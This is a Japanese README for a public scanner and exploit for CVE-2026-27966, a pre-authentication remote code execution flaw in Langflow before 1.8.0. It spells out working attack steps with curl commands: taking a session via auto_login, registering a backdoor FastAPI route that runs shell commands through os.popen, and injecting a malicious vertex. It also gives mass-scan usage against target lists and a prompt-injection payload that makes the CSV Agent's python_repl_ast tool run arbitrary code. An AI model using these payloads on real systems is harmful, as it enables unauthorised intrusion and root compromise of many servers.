
Langflow < 1.8.0 向けの認証前 RCE スキャナー — Route Injection + Vertex Injection → コード実行(CVSS 9.8)
CVE-2026-27966 は、Langflow 1.8.0 より前のバージョンに存在する、深刻度が重大(CVSS 9.8)の事前認証リモートコード実行の脆弱性です。この脆弱性は、CSV Agent コンポーネントで allow_dangerous_code=True がハードコードされていることに起因し、LangChain の python_repl_ast ツールが認証なしのプロンプトインジェクションにさらされます。
さらに、複数の API エンドポイントに適切な認証がないため、CSV Agent が構成されていないインスタンスでも、直接的なルートインジェクションとフロー頂点インジェクションが可能になります。
| Langflow バージョン | 状態 |
|---|---|
| < 1.8.0 | 脆弱 |
| >= 1.8.0 | パッチ適用済み |
このスキャナは、3 つの異なる悪用手順をテストします:
GET /api/v1/auto_login → obtain session / API key
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → extract flow UUIDs (26 exposed)
POST /api/v1/build/{UUID}/vertices → inject malicious vertex
POST /api/v1/run/{UUID} → execute vertex code → RCE
src/lfx/src/lfx/components/langchain_utilities/csv_agent.py 内で、CSV Agent ノードが allow_dangerous_code=True をハードコードしており、LangChain の python_repl_ast ツールが自動的に公開されます:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # hardcoded — cannot be disabled via UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)
これにより、CSV Agent に到達する任意のプロンプトが、以下の方法で任意の Python コードを実行できるようになります:
Action: python_repl_ast
Action Input: __import__("os").system("command")
Langflow REST API は、認証なしで公開されている複数のエンドポイントを提供します:
auto_login が有効なインスタンス(多くの Docker デプロイでデフォルト)では、攻撃者は有効なセッションと API キーを取得します:
curl -sk 'https://target.com/api/v1/auto_login'
# Returns session with access_token → full API access
有効な API キーがあれば、攻撃者は POST /api/v1/custom_component を使用して、サーバー再起動までメモリ上に残るバックドア FastAPI ルートを登録できます:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Single target
python cve_2026_27966.py -t target.com:7860
# Mass scan
python cve_2026_27966.py -f targets.txt
# Mass scan + save results
python cve_2026_27966.py -f targets.txt -o rce.txt
# Detect only (skip exploitation)
python cve_2026_27966.py -f targets.txt --no-exploit
# Verbose output
python cve_2026_27966.py -f targets.txt -v
-t, --target Single target (IP:port or domain)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 30)
--no-exploit Detection only, skip RCE attempts
-v, --verbose Show all results including non-RCE targets
$ python cve_2026_27966.py -t target.com:7860 -v
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9.8 | Pre-Auth | Route Injection → RCE
Host : target.com:7860
Langflow : YES v1.2.0
Vuln : YES
API Key : NOT REQUIRED
RCE : YES
Output : uid=0(root) gid=0(root) groups=0(root)
Time : 12.3s
CVE-2026-27966 Langflow RCE Scanner
Targets: 4127 | Threads: 30 | Exploit: ON
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API key)
[500/4127] scanning... (12%)
-------------------------------------------------------
Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
-------------------------------------------------------
ステップ 1 — Langflow の検出
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
ステップ 2 — フロー UUID の抽出
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
ステップ 3 — バックドア頂点のインジェクション
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
ステップ 4 — コマンドの実行
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
悪用に成功すると、Langflow Docker コンテナ内で root としてのリモートコード実行が可能になります。そこから攻撃者は以下を行えます:
教育目的および許可されたテスト目的のみで使用してください。
本ソフトウェアは、許可を得たペネトレーションテストを実施するセキュリティ専門家、自社インフラストラクチャを監査する組織、および脆弱性の悪用を研究する研究者を対象としています。
コンピュータシステムへの不正アクセスは違法であり、以下の法律に違反する可能性があります:
- 米国:Computer Fraud and Abuse Act(18 U.S.C. 1030)
- インドネシア:UU ITE 第 30 条および第 46 条
- 欧州連合:指令 2013/40/EU
- 英国:Computer Misuse Act 1990
著作者は不正使用に対するいかなる責任も負いません。本ソフトウェアを使用することにより、お客様はご自身の行動に対するすべての責任を受け入れるものとします。
| リソース | リンク |
|---|
このプロジェクトは Langflow または Logspace とは提携していません。
| エンドポイント | 認証 | 公開されるデータ |
|---|
GET /api/v1/version | なし | Langflow のバージョン |
GET /api/v1/health | なし | インスタンスの状態 |
GET /api/v1/flows/basic_examples/ | なし | 26 個のサンプルフロー UUID + 構造 |
POST /api/v1/build/{uuid}/vertices | なし | 任意のコードインジェクションを受け入れる |
POST /api/v1/users/ | なし | ユーザー作成(非アクティブ) |
GET /openapi.json | なし | 全 API ドキュメント |
| メトリック | 値 |
|---|
| 攻撃元 | ネットワーク(リモート) |
| 攻撃複雑性 | 低 |
| 必要な権限 | なし |
| ユーザー操作 | なし |
| スコープ | 変更なし |
| 機密性 | 高 |
| 完全性 | 高 |
| 可用性 | 高 |
| GitHub Advisory | GHSA-3645-fxcv-hqr4 |
| 修正コミット | d8c6480d |
| Metasploit モジュール | Rapid7 |
| NVD エントリ | CVE-2026-27966 |